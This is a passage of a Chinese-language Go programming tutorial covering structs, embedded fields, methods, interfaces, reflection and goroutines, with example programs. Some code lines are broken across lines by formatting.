除了上面這種 `P` 的宣告使用之外，還有另外幾種宣告使用方式：

- 1.按照順序提供初始化值

```
P := person{"Tom", 25}
```

- 2.透過 `field:value` 的方式初始化，這樣可以任意順序

```
P := person{age:24, name:"Tom"}
```

- 3.當然也可以透過 `new` 函式分配一個指標，此處 P 的型別為 `*person`

```
P := new(person)
```

下面我們看一個完整的使用 `struct` 的例子

```
package main

import "fmt"

// 宣告一個新的型別
type person struct {
    name string
    age  int
}

// 比較兩個人的年齡，返回年齡大的那個人，並且返回年齡差
// struct 也是傳值的
func Older(p1, p2 person) (person, int) {
    if p1.age > p2.age { // 比較 p1 和 p2 這兩個人的年齡
        return p1, p1.age - p2.age
    }
    return p2, p2.age - p1.age
}

func main() {
    var tom person

    // 賦值初始化
    tom.name, tom.age = "Tom", 18

    // 兩個欄位都寫清楚的初始化
    bob := person{age:25, name:"Bob"}
```

```
// 按照 struct 定義順序初始化值
paul := person{"Paul", 43}

tb_Older, tb_diff := Older(tom, bob)
tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)

fmt.Printf("Of %s and %s, %s is older by %d years\n",
    tom.name, bob.name, tb_Older.name, tb_diff)

fmt.Printf("Of %s and %s, %s is older by %d years\n",
    tom.name, paul.name, tp_Older.name, tp_diff)

fmt.Printf("Of %s and %s, %s is older by %d years\n",
    bob.name, paul.name, bp_Older.name, bp_diff)
}
```

## struct 的匿名欄位

我們上面介紹瞭如何定義一個 **struct**，定義的時候是欄位名與其型別一一對應，實際上 Go 支援只提供型別，而不寫欄位名的方式，也就是匿名欄位，也稱為嵌入欄位。

當匿名欄位是一個 **struct** 的時候，那麼這個 **struct** 所擁有的全部欄位都被隱式地引入了當前定義的這個 **struct**。

讓我們來看一個例子，讓上面說的這些更具體化

```
package main

import "fmt"

type Human struct {
    name string
    age  int
    weight int
}

type Student struct {
    Human // 匿名欄位，那麼預設 Student 就包含了 Human 的所有欄位
    speciality string
}

func main() {
    // 我們初始化一個學生
    mark := Student{Human{"Mark", 25, 120}, "Computer Science"}

    // 我們訪問相應的欄位
    fmt.Println("His name is ", mark.name)
    fmt.Println("His age is ", mark.age)
    fmt.Println("His weight is ", mark.weight)
    fmt.Println("His speciality is ", mark.speciality)
    // 修改對應的備註資訊
    mark.speciality = "AI"
    fmt.Println("Mark changed his speciality")
    fmt.Println("His speciality is ", mark.speciality)
    // 修改他的年齡資訊
    fmt.Println("Mark become old")
    mark.age = 46
    fmt.Println("His age is", mark.age)
    // 修改他的體重資訊
    fmt.Println("Mark is not an athlete anymore")
    mark.weight += 60
    fmt.Println("His weight is", mark.weight)
}
```

圖例如下:



圖 2.7 struct 組合，Student 組合了 Human struct 和 string 基本型別

我們看到 Student 訪問屬性 age 和 name 的時候，就像訪問自己所有用的欄位一樣，對，匿名欄位就是這樣，能夠實現欄位的繼承。是不是很酷啊？還有比這個更酷的呢，那就是 student 還能訪問 Human 這個欄位作為欄位名。請看下面的程式碼，是不是更酷了。

```
mark.Human = Human{"Marcus", 55, 220}  
mark.Human.age -= 1
```

透過匿名訪問和修改欄位相當的有用，但是不僅僅是 struct 欄位哦，所有的內建型別和自訂型別都是可以作為匿名欄位的。請看下面的例子

```
package main

import "fmt"

type Skills []string

type Human struct {
    name string
    age  int
    weight int
}

type Student struct {
    Human    // 匿名欄位，struct
    Skills   // 匿名欄位，自訂的型別 string slice
    int      // 內建型別作為匿名欄位
    speciality string
}

func main() {
    // 初始化學生 Jane
    jane := Student{Human: Human{"Jane", 35, 100}, speciality: "Biology"}
    // 現在我們來訪問相應的欄位
    fmt.Println("Her name is ", jane.name)
    fmt.Println("Her age is ", jane.age)
    fmt.Println("Her weight is ", jane.weight)
    fmt.Println("Her speciality is ", jane.speciality)
    // 我們來修改他的 skill 技能欄位
    jane.Skills = []string{"anatomy"}
    fmt.Println("Her skills are ", jane.Skills)
    fmt.Println("She acquired two new ones ")
    jane.Skills = append(jane.Skills, "physics", "golang")
    fmt.Println("Her skills now are ", jane.Skills)
    // 修改匿名內建型別欄位
    jane.int = 3
    fmt.Println("Her preferred number is", jane.int)
}
```

從上面例子我們看出來 `struct` 不僅僅能夠將 `struct` 作為匿名欄位，自訂型別、內建型別都可以作為匿名欄位，而且可以在相應的欄位上面進行函式操作（如例子中的 `append`）。

這裡有一個問題：如果 `human` 裡面有一個欄位叫做 `phone`，而 `student` 也有一個欄位叫做 `phone`，那麼該怎麼辦呢？

Go 裡面很簡單的解決了這個問題，最外層的優先訪問，也就是當你透過 `student.phone` 訪問的時候，是訪問 `student` 裡面的欄位，而不是 `human` 裡面的欄位。

這樣就允許我們去過載透過匿名欄位繼承的一些欄位，當然如果我們想訪問過載後對應匿名型別裡面的欄位，可以透過匿名欄位名來訪問。請看下面的例子

```
package main

import "fmt"

type Human struct {
    name string
    age  int
    phone string // Human 型別擁有的欄位
}

type Employee struct {
    Human // 匿名欄位 Human
    speciality string
    phone string // 僱員的 phone 欄位
}

func main() {
    Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
    fmt.Println("Bob's work phone is:", Bob.phone)
    // 如果我們要訪問 Human 的 phone 欄位
    fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
```



## links

- [目錄](#)
- 上一章: [流程和函式](#)
- 下一節: [物件導向](#)

## 2.5 物件導向

前面兩章我們介紹了函式和 `struct`，那你是否想過函式當作 `struct` 的欄位一樣來處理呢？今天我們就講解一下函式的另一種形態，帶有接收者的函式，我們稱爲 `method`

### method

現在假設有這麼一個場景，你定義了一個 `struct` 叫做長方形，你現在想要計算他的面積，那麼按照我們一般的思路應該會用下面的方式來實現

```
package main

import "fmt"

type Rectangle struct {
    width, height float64
}

func area(r Rectangle) float64 {
    return r.width*r.height
}

func main() {
    r1 := Rectangle{12, 2}
    r2 := Rectangle{9, 4}
    fmt.Println("Area of r1 is: ", area(r1))
    fmt.Println("Area of r2 is: ", area(r2))
}
```

這段程式碼可以計算出來長方形的面積，但是 `area()` 不是作為 `Rectangle` 的方法實現的（類似物件導向裡面的方法），而是將 `Rectangle` 的物件（如 `r1, r2`）作為引數傳入函式計算面積的。

這樣實現當然沒有問題咯，但是當需要增加圓形、正方形、五邊形甚至其它多邊形的時候，你想計算他們的面積的時候怎麼辦啊？那就只能增加新的函式咯，但是函式名你就必須要跟著換了，變成 `area_rectangle`, `area_circle`, `area_triangle...`

像下圖所表示的那樣，橢圓代表函式，而這些函式並不從屬於 `struct` (或者以物件導向的術語來說，並不屬於 `class`)，他們是單獨存在於 `struct` 外圍，而非在概念上屬於某個 `struct` 的。



圖 2.8 方法和 `struct` 的關係圖

很顯然，這樣的實現並不優雅，並且從概念上來說"面積"是"形狀"的一個屬性，它是屬於這個特定的形狀的，就像長方形的長和寬一樣。

基於上面的原因所以就有了 `method` 的概念，`method` 是附屬在一個給定的型別上的，他的語法和函式的宣告語法幾乎一樣，只是在 `func` 後面增加了一個 `receiver` (也就是 `method` 所依從的主體)。

用上面提到的形狀的例子來說，`method area()` 是依賴於某個形狀 (比如說 `Rectangle`) 來發生作用的。`Rectangle.area()` 的發出者是 `Rectangle`，`area()` 是屬於 `Rectangle` 的方法，而非一個外圍函式。

更具體地說，`Rectangle` 存在欄位 `height` 和 `width`，同時存在方法 `area()`，這些欄位和方法都屬於 `Rectangle`。

用 Rob Pike 的話來說就是：

"A method is a function with an implicit first argument, called a receiver."

`method` 的語法如下：

```
func (r ReceiverType) funcName(parameters) (results)
```

下面我們用最開始的例子用 `method` 來實現：

```
package main

import (
    "fmt"
    "math"
)

type Rectangle struct {
    width, height float64
}

type Circle struct {
    radius float64
}

func (r Rectangle) area() float64 {
    return r.width*r.height
}

func (c Circle) area() float64 {
    return c.radius * c.radius * math.Pi
}

func main() {
    r1 := Rectangle{12, 2}
    r2 := Rectangle{9, 4}
    c1 := Circle{10}
    c2 := Circle{25}

    fmt.Println("Area of r1 is: ", r1.area())
    fmt.Println("Area of r2 is: ", r2.area())
    fmt.Println("Area of c1 is: ", c1.area())
    fmt.Println("Area of c2 is: ", c2.area())
}
```

在使用 method 的時候重要注意幾點

- 雖然 `method` 的名字一模一樣，但是如果接收者不一樣，那麼 `method` 就不一樣
- `method` 裡面可以訪問接收者的欄位
- 呼叫 `method` 透過 `.` 訪問，就像 `struct` 裡面訪問欄位一樣

圖示如下:



圖 2.9 不同 `struct` 的 `method` 不同

在上例，`method area()` 分別屬於 `Rectangle` 和 `Circle`，於是他們的 `Receiver` 就變成了 `Rectangle` 和 `Circle`，或者說，這個 `area()` 方法是由 `Rectangle/Circle` 發出的。

值得說明的一點是，圖示中 `method` 用虛線標出，意思是此處方法的 `Receiver` 是以值傳遞，而非參考傳遞，是的，`Receiver` 還可以是指標，兩者的差別在於，指標作為 `Receiver` 會對例項物件的內容發生操作，而普通型別作為 `Receiver` 僅僅是以副本作為操作物件，並不對原例項物件發生操作。後文對此會有詳細論述。

那是不是 `method` 只能作用在 `struct` 上面呢？當然不是咯，他可以定義在任何你自訂的型別、內建型別、`struct` 等各種型別上面。這裡你是不是有點迷糊了，什麼叫自訂型別，自訂型別不就是 `struct` 嘛，不是這樣的哦，`struct` 只是自訂型別裡面一種比較特殊的型別而已，還有其他自訂型別申明，可以透過如下這樣的申明來實現。

```
type typeName typeLiteral
```

請看下面這個申明自訂型別的程式碼

```
type ages int

type money float32

type months map[string]int

m := months {
    "January":31,
    "February":28,
    ...
    "December":31,
}
```

看到了嗎？簡單的很吧，這樣你就可以在自己的程式碼裡面定義有意義的型別了，實際上只是一個定義了一個別名，有點類似於 c 中的 `typedef`，例如上面 `ages` 替代了 `int`

好了，讓我們回到 `method`

你可以在任何的自訂型別中定義任意多的 `method`，接下來讓我們看一個複雜一點的例子

```
package main

import "fmt"

const(
    WHITE = iota
    BLACK
    BLUE
    RED
    YELLOW
)

type Color byte

type Box struct {
```

```
    width, height, depth float64
    color Color
}

type BoxList []Box //a slice of boxes

func (b Box) Volume() float64 {
    return b.width * b.height * b.depth
}

func (b *Box) SetColor(c Color) {
    b.color = c
}

func (bl BoxList) BiggestColor() Color {
    v := 0.00
    k := Color(WHITE)
    for _, b := range bl {
        if bv := b.Volume(); bv > v {
            v = bv
            k = b.color
        }
    }
    return k
}

func (bl BoxList) PaintItBlack() {
    for i := range bl {
        bl[i].SetColor(BLACK)
    }
}

func (c Color) String() string {
    strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
    return strings[c]
}

func main() {
    boxes := BoxList {
```

```

    Box{4, 4, 4, RED},
    Box{10, 10, 1, YELLOW},
    Box{1, 1, 20, BLACK},
    Box{10, 10, 1, BLUE},
    Box{10, 30, 1, WHITE},
    Box{20, 20, 20, YELLOW},
}

fmt.Printf("We have %d boxes in our set\n", len(boxes))
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestColor().String())

fmt.Println("Let's paint them all black")
boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())

fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String())
}

```

上面的程式碼透過 `const` 定義了一些常量，然後定義了一些自訂型別

- `Color` 作為 `byte` 的別名
- 定義了一個 `struct:Box`，含有三個長寬高欄位和一個顏色屬性
- 定義了一個 `slice:BoxList`，含有 `Box`

然後以上面的自訂型別為接收者定義了一些 `method`

- `Volume()` 定義了接收者為 `Box`，返回 `Box` 的容量
- `SetColor(c Color)`，把 `Box` 的顏色改為 `c`
- `BiggestColor()` 定在在 `BoxList` 上面，返回 `list` 裡面容量最大的顏色
- `PaintItBlack()` 把 `BoxList` 裡面所有 `Box` 的顏色全部變成黑色
- `String()` 定義在 `Color` 上面，返回 `Color` 的具體顏色(字串格式)



上面的程式碼透過文字描述出來之後是不是很簡單？我們一般解決問題都是透過問題的描述，去寫相應的程式碼實現。

## 指標作為 receiver

現在讓我們回過頭來看看 `SetColor` 這個 `method`，它的 `receiver` 是一個指向 `Box` 的指標，是的，你可以使用 `*Box`。想想爲啥要使用指標而不是 `Box` 本身呢？

我們定義 `SetColor` 的真正目的是想改變這個 `Box` 的顏色，如果不傳 `Box` 的指標，那麼 `SetColor` 接受的其實是 `Box` 的一個 `copy`，也就是說 `method` 內對於顏色值的修改，其實只作用於 `Box` 的 `copy`，而不是真正的 `Box`。所以我們需要傳入指標。

這裡可以把 `receiver` 當作 `method` 的第一個引數來看，然後結合前面函式講解的傳值和傳參考就不難理解

這裡你也許會問了那 `SetColor` 函式裡面應該這樣定義 `*b.Color=c`，而不是 `b.Color=c`，因爲我們需要讀取到指標相應的值。

你是對的，其實 `Go` 裡面這兩種方式都是正確的，當你用指標去訪問相應的欄位時（雖然指標沒有任何的欄位），`Go` 知道你要透過指標去取得這個值，看到了吧，`Go` 的設計是不是越來越吸引你了。

也許細心的讀者會問這樣的問題，`PaintItBlack` 裡面呼叫 `SetColor` 的時候是不是應該寫成 `(&bl[i]).SetColor(BLACK)`，因爲 `SetColor` 的 `receiver` 是 `*Box`，而不是 `Box`。

你又說對了，這兩種方式都可以，因爲 `Go` 知道 `receiver` 是指標，他自動幫你轉了。

也就是說：

如果一個 `method` 的 `receiver` 是 `*T`，你可以在一個 `T` 型別的例項變數 `V` 上面呼叫這個 `method`，而不需要 `&V` 去呼叫這個 `method`

類似的

如果一個 `method` 的 `receiver` 是 `T`，你可以在一個 `T` 型別的變數 `P` 上面呼叫這個 `method`，而不需要 `P` 去呼叫這個 `method`

所以，你不用擔心你是呼叫的指標的 `method` 還是不是指標的 `method`，Go 知道你要做的一切，這對於有多年 C/C++ 程式設計經驗的同學來說，真是解決了一個很大的痛苦。

## method 繼承

前面一章我們學習了欄位的繼承，那麼你也會發現 Go 的一個神奇之處，`method` 也是可以繼承的。如果匿名欄位實現了一個 `method`，那麼包含這個匿名欄位的 `struct` 也能呼叫該 `method`。讓我們來看下面這個例子

```
package main

import "fmt"

type Human struct {
    name string
    age  int
    phone string
}

type Student struct {
    Human //匿名欄位
    school string
}

type Employee struct {
    Human //匿名欄位
    company string
}

//在 human 上面定義了一個 method
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.
phone)
}

func main() {
    mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
    sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang In
c"}

    mark.SayHi()
    sam.SayHi()
}
```

## method 重寫

上面的例子中，如果 `Employee` 想要實現自己的 `SayHi`，怎麼辦？簡單，和匿名欄位衝突一樣的道理，我們可以在 `Employee` 上面定義一個 `method`，重寫了匿名欄位的方法。請看下面的例子

```
package main

import "fmt"

type Human struct {
    name string
    age  int
    phone string
}

type Student struct {
    Human //匿名欄位
    school string
}

type Employee struct {
    Human //匿名欄位
    company string
}

//Human 定義 method
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.
phone)
}

//Employee 的 method 重寫 Human 的 method
func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.n
ame,
        e.company, e.phone) //Yes you can split into 2 lines her
e.
}

func main() {
```

```
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang In
c"}

mark.SayHi()
sam.SayHi()
}
```

上面的程式碼設計的是如此的美妙，讓人不自覺的為 Go 的設計驚歎！

透過這些內容，我們可以設計出基本的物件導向的程式了，但是 Go 裡面的物件導向是如此的簡單，沒有任何的私有、公有關鍵字，透過大小寫來實現(大寫開頭的為公有，小寫開頭的為私有)，方法也同樣適用這個原則。

## links

- [目錄](#)
- 上一章: [struct 型別](#)
- 下一節: [interface](#)

## 2.6 interface

### interface

Go 語言裡面設計最精妙的應該算 interface，它讓物件導向，內容組織實現非常的方便，當你看完這一章，你就會被 interface 的巧妙設計所折服。

### 什麼是 interface

簡單的說，interface 是一組 method 簽名的組合，我們透過 interface 來定義物件的一組行為。

我們前面一章最後一個例子中 Student 和 Employee 都能 SayHi，雖然他們的內部實現不一樣，但是那不重要，重要的是他們都能 say hi

讓我們來繼續做更多的擴充套件，Student 和 Employee 實現另一個方法 Sing，然後 Student 實現方法 BorrowMoney 而 Employee 實現 SpendSalary。

這樣 Student 實現了三個方法：SayHi、Sing、BorrowMoney；而 Employee 實現了 SayHi、Sing、SpendSalary。

上面這些方法的組合稱為 interface(被物件 Student 和 Employee 實現)。例如 Student 和 Employee 都實現了 interface：SayHi 和 Sing，也就是這兩個物件是該 interface 型別。而 Employee 沒有實現這個 interface：SayHi、Sing 和 BorrowMoney，因為 Employee 沒有實現 BorrowMoney 這個方法。

### interface 型別

interface 型別定義了一組方法，如果某個物件實現了某個介面的所有方法，則此物件就實現了此介面。詳細的語法參考下面這個例子

```
type Human struct {  
    name string  
    age  int  
    phone string
```

```
}

type Student struct {
    Human //匿名欄位 Human

    school string
    loan float32
}

type Employee struct {
    Human //匿名欄位 Human

    company string
    money float32
}

//Human 物件實現 Sayhi 方法
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.
phone)
}

// Human 物件實現 Sing 方法
func (h *Human) Sing(lyrics string) {
    fmt.Println("La la, la la la, la la la la la...", lyrics)
}

//Human 物件實現 Guzzle 方法
func (h *Human) Guzzle(beerStein string) {
    fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}

// Employee 過載 Human 的 Sayhi 方法
func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.n
ame,
        e.company, e.phone) //此句可以分成多行
}

//Student 實現 BorrowMoney 方法
```

```
func (s *Student) BorrowMoney(amount float32) {
    s.loan += amount // (again and again and...)
}

//Employee 實現 SpendSalary 方法
func (e *Employee) SpendSalary(amount float32) {
    e.money -= amount // More vodka please!!! Get me through the
    day!
}

// 定義 interface

type Men interface {
    SayHi()
    Sing(lyrics string)
    Guzzle(beerStein string)
}

type YoungChap interface {
    SayHi()
    Sing(song string)
    BorrowMoney(amount float32)
}

type ElderlyGent interface {
    SayHi()
    Sing(song string)
    SpendSalary(amount float32)
}
```

透過上面的程式碼我們可以知道，interface 可以被任意的物件實現。我們看到上面的 Men interface 被 Human、Student 和 Employee 實現。同理，一個物件可以實現任意多個 interface，例如上面的 Student 實現了 Men 和 YoungChap 兩個 interface。

最後，任意的型別都實現了空 interface(我們這樣定義：interface{})，也就是包含 0 個 method 的 interface。

## interface 值



那麼 interface 裡面到底能存什麼值呢？如果我們定義了一個 interface 的變數，那麼這個變數裡面可以存實現這個 interface 的任意型別的物件。例如上面例子中，我們定義了一個 Men interface 型別的變數 m，那麼 m 裡面可以存 Human、Student 或者 Employee 值。

因為 m 能夠持有這三種類型的物件，所以我們可以定義一個包含 Men 型別元素的 slice，這個 slice 可以被賦予實現了 Men 介面的任意結構的物件，這個和我們傳統意義上面的 slice 有所不同。

讓我們來看一下下面這個例子：

```
package main

import "fmt"

type Human struct {
    name string
    age  int
    phone string
}

type Student struct {
    Human //匿名欄位
    school string
    loan float32
}

type Employee struct {
    Human //匿名欄位
    company string
    money float32
}

//Human 實現 SayHi 方法
func (h Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.
phone)
}
```

```
//Human 實現 Sing 方法
func (h Human) Sing(lyrics string) {
    fmt.Println("La la la la...", lyrics)
}

//Employee 過載 Human 的 SayHi 方法
func (e Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone)
}

// Interface Men 被 Human, Student 和 Employee 實現
// 因為這三個型別都實現了這兩個方法
type Men interface {
    SayHi()
    Sing(lyrics string)
}

func main() {
    mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
    paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
    sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc .", 1000}
    tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd .", 5000}

    //定義 Men 型別的變數 i

    var i Men

    //i 能儲存 Student

    i = mike
    fmt.Println("This is Mike, a Student:")
    i.SayHi()
    i.Sing("November rain")
}
```

```
//i 也能儲存 Employee

i = tom
fmt.Println("This is tom, an Employee:")
i.SayHi()
i.Sing("Born to be wild")

//定義了 slice Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
//這三個都是不同型別的元素，但是他們實現了 interface 同一個介面
x[0], x[1], x[2] = paul, sam, mike

for _, value := range x{
    value.SayHi()
}
}
```

透過上面的程式碼，你會發現 `interface` 就是一組抽象方法的集合，它必須由其他非 `interface` 型別實現，而不能自我實現，Go 透過 `interface` 實現了 duck-typing: 即"當看到一隻鳥走起來像鴨子、游泳起來像鴨子、叫起來也像鴨子，那麼這隻鳥就可以被稱為鴨子"。

## 空 interface

空 `interface(interface{})` 不包含任何的 `method`，正因為如此，所有的型別都實現了空 `interface`。空 `interface` 對於描述起不到任何的作用(因為它不包含任何的 `method`)，但是空 `interface` 在我們需要儲存任意型別的數值的時候相當有用，因為它可以儲存任意型別的數值。它有點類似於 C 語言的 `void*` 型別。

```
// 定義 a 為空介面
var a interface{}
var i int = 5
s := "Hello world"
// a 可以儲存任意型別的數值
a = i
a = s
```

一個函式把 `interface{}` 作為引數，那麼他可以接受任意型別的值作為引數，如果一個函式返回 `interface{}`，那麼也就可以返回任意型別的值。是不是很有用啊！

## interface 函式引數

`interface` 的變數可以持有任意實現該 `interface` 型別的物件，這給我們編寫函式(包括 `method`)提供了一些額外的思考，我們是不是可以透過定義 `interface` 引數，讓函式接受各種型別的引數。

舉個例子：`fmt.Println` 是我們常用的一個函式，但是你是否注意到它可以接受任意型別的資料。開啓 `fmt` 的原始碼檔案，你會看到這樣一個定義：

```
type Stringer interface {
    String() string
}
```

也就是說，任何實現了 `String` 方法的型別都能作為引數被 `fmt.Println` 呼叫，讓我們來試一試

```
package main
import (
    "fmt"
    "strconv"
)

type Human struct {
    name string
    age  int
    phone string
}

// 透過這個方法 Human 實現了 fmt.Stringer
func (h Human) String() string {
    return "<"+h.name+" - "+strconv.Itoa(h.age)+" years - @ " +
        h.phone+">"
}

func main() {
    Bob := Human{"Bob", 39, "000-7777-XXX"}
    fmt.Println("This Human is : ", Bob)
}
```

現在我們再回顧一下前面的 Box 範例，你會發現 Color 結構也定義了一個 method：String。其實這也是實現了 fmt.Stringer 這個 interface，即如果需要某個型別能被 fmt 套件以特殊的格式輸出，你就必須實現 Stringer 這個介面。如果沒有實現這個介面，fmt 將以預設的方式輸出。

```
//實現同樣的功能
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
)
fmt.Println("The biggest one is", boxes.BiggestsColor())
```

注：實現了 error 介面的物件（即實現了 Error() string 的物件），使用 fmt 輸出時，會呼叫 Error()方法，因此不必再定義 String()方法了。

## interface 變數儲存的型別

我們知道 interface 的變數裡面可以儲存任意型別的數值(該型別實現了 interface)。那麼我們怎麼反向知道這個變數裡面實際儲存了的是哪個型別的物件呢？目前常用的有兩種方法：

- Comma-ok 斷言

Go 語言裡面有一個語法，可以直接判斷是否是該型別的變數：`value, ok = element.(T)`，這裡 `value` 就是變數的值，`ok` 是一個 `bool` 型別，`element` 是 interface 變數，`T` 是斷言的型別。

如果 `element` 裡面確實儲存了 `T` 型別的數值，那麼 `ok` 返回 `true`，否則返回 `false`。

讓我們透過一個例子來更加深入的理解。

```
package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type List [] Element

type Person struct {
    name string
    age  int
}

//定義了 String 方法，實現了 fmt.Stringer
func (p Person) String() string {
    return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}

func main() {
```

```
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[2] = Person{"Dennis", 70}

for index, element := range list {
    if value, ok := element.(int); ok {
        fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
    } else if value, ok := element.(string); ok {
        fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
    } else if value, ok := element.(Person); ok {
        fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
    } else {
        fmt.Printf("list[%d] is of a different type\n", index)
    }
}
```

是不是很简单啊，同时你是否注意到了多个 if 裡面，还记得我前面介绍流程时讲过，if 裡面允许初始化变数。

也许你注意到了，我们断言的型别越多，那么 if else 也就越多，所以才引出了下面要介绍的 switch。

- switch 测试

最好的讲解就是程式码例子，现在让我们重写上面的这个实现

```
package main

import (
    "fmt"
    "strconv"
)
```

```
type Element interface{}
type List [] Element

type Person struct {
    name string
    age int
}

//列印
func (p Person) String() string {
    return "(name: " + p.name + " - age: "+strconv.Itoa(p.
age)+ " years)"
}

func main() {
    list := make(List, 3)
    list[0] = 1 //an int
    list[1] = "Hello" //a string
    list[2] = Person{"Dennis", 70}

    for index, element := range list{
        switch value := element.(type) {
            case int:
                fmt.Printf("list[%d] is an int and its val
ue is %d\n", index, value)
            case string:
                fmt.Printf("list[%d] is a string and its v
alue is %s\n", index, value)
            case Person:
                fmt.Printf("list[%d] is a Person and its v
alue is %s\n", index, value)
            default:
                fmt.Println("list[%d] is of a different ty
pe", index)
        }
    }
}
```



這裡有一點需要強調的是：`element.(type)` 語法不能在 `switch` 外的任何邏輯裡面使用，如果你要在 `switch` 外面判斷一個型別就使用 `comma-ok`。

## 嵌入 interface

Go 裡面真正吸引人的是它內建的邏輯語法，就像我們在學習 `Struct` 時學習的匿名欄位，多麼的優雅啊，那麼相同的邏輯引入到 `interface` 裡面，那不是更加完美了。如果一個 `interface1` 作為 `interface2` 的一個嵌入欄位，那麼 `interface2` 隱式的包含了 `interface1` 裡面的 `method`。

我們可以看到原始碼套件 `container/heap` 裡面有這樣的一個定義

```
type Interface interface {
    sort.Interface //嵌入欄位 sort.Interface
    Push(x interface{}) //a Push method to push elements into the heap
    Pop() interface{} //a Pop elements that pops elements from the heap
}
```

我們看到 `sort.Interface` 其實就是嵌入欄位，把 `sort.Interface` 的所有 `method` 給隱式的包含進來了。也就是下面三個方法：

```
type Interface interface {
    // Len is the number of elements in the collection.
    Len() int
    // Less returns whether the element with index i should sort
    // before the element with index j.
    Less(i, j int) bool
    // Swap swaps the elements with indexes i and j.
    Swap(i, j int)
}
```

另一個例子就是 `io` 套件下面的 `io.ReadWriter`，它包含了 `io` 套件下面的 `Reader` 和 `Writer` 兩個 `interface`：

```
// io.ReadWriter
type ReadWriter interface {
    Reader
    Writer
}
```

## 反射

Go 語言實現了反射，所謂反射就是能檢查程式在執行時的狀態。我們一般用到的套件是 `reflect` 套件。如何運用 `reflect` 套件，官方的這篇文章詳細的講解了 `reflect` 套件的實現原理，[laws of reflection](#)

使用 `reflect` 一般分成三步，下面簡要的講解一下：要去反射是一個型別的值(這些值都實現了空 `interface`)，首先需要把它轉化成 `reflect` 物件(`reflect.Type` 或者 `reflect.Value`，根據不同的情況呼叫不同的函式)。這兩種取得方式如下：

```
t := reflect.TypeOf(i)    //得到型別的元資料，透過 t 我們能取得型別定義
                             裡面的所有元素
v := reflect.ValueOf(i)    //得到實際的值，透過 v 我們取得儲存在裡面的值
                             ，還可以去改變值
```

轉化為 `reflect` 物件之後我們就可以進行一些操作了，也就是將 `reflect` 物件轉化成相應的值，例如

```
tag := t.Elem().Field(0).Tag //取得定義在 struct 裡面的標籤
name := v.Elem().Field(0).String() //取得儲存在第一個欄位裡面的值
```

取得反射值能返回相應的型別和數值

```
var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())
```

最後，反射的話，那麼反射的欄位必須是可修改的，我們前面學習過傳值和傳參考，這個裡面也是一樣的道理。反射的欄位必須是可讀寫的意思是，如果下面這樣寫，那麼會發生錯誤

```
var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)
```

如果要修改相應的值，必須這樣寫

```
var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
```

上面只是對反射的簡單介紹，更深入的理解還需要自己在程式設計中不斷的實踐。

## links

- [目錄](#)
- 上一章: [物件導向](#)
- 下一節: [併發](#)

## 2.7 併發

有人把 Go 比作 21 世紀的 C 語言，第一是因為 Go 語言設計簡單，第二，21 世紀最重要的就是並行程式設計，而 Go 從語言層面就支援了並行。

### goroutine

goroutine 是 Go 並行設計的核心。goroutine 說到底其實就是協程，但是它比執行緒更小，十幾個 goroutine 可能體現在底層就是五六個執行緒，Go 語言內部幫你實現了這些 goroutine 之間的記憶體共享。執行 goroutine 只需極少的棧記憶體(大概是 4~5KB)，當然會根據相應的資料伸縮。也正因為如此，可同時執行成千上萬個併發任務。goroutine 比 thread 更易用、更高效、更輕便。

goroutine 是透過 Go 的 runtime 管理的一個執行緒管理器。goroutine 透過 `go` 關鍵字實現了，其實就是一個普通的函式。

```
go hello(a, b, c)
```

透過關鍵字 `go` 就啟動了一個 goroutine。我們來看一個例子

```
package main

import (
    "fmt"
    "runtime"
)

func say(s string) {
    for i := 0; i < 5; i++ {
        runtime.Gosched()
        fmt.Println(s)
    }
}

func main() {
    go say("world") //開一個新的 Goroutines 執行
    say("hello") //當前 Goroutines 執行
}

// 以上程式執行後將輸出：
// hello
// world
// hello
// world
// hello
// world
// hello
// world
// hello
```

我們可以看到 `go` 關鍵字很方便的就實現了併發程式設計。上面的多個 `goroutine` 執行在同一個程序裡面，共享記憶體資料，不過設計上我們要遵循：不要透過共享來通訊，而要透過通訊來共享。

`runtime.Gosched()` 表示讓 CPU 把時間片讓給別人，下次某個時候繼續恢復執行該 goroutine。

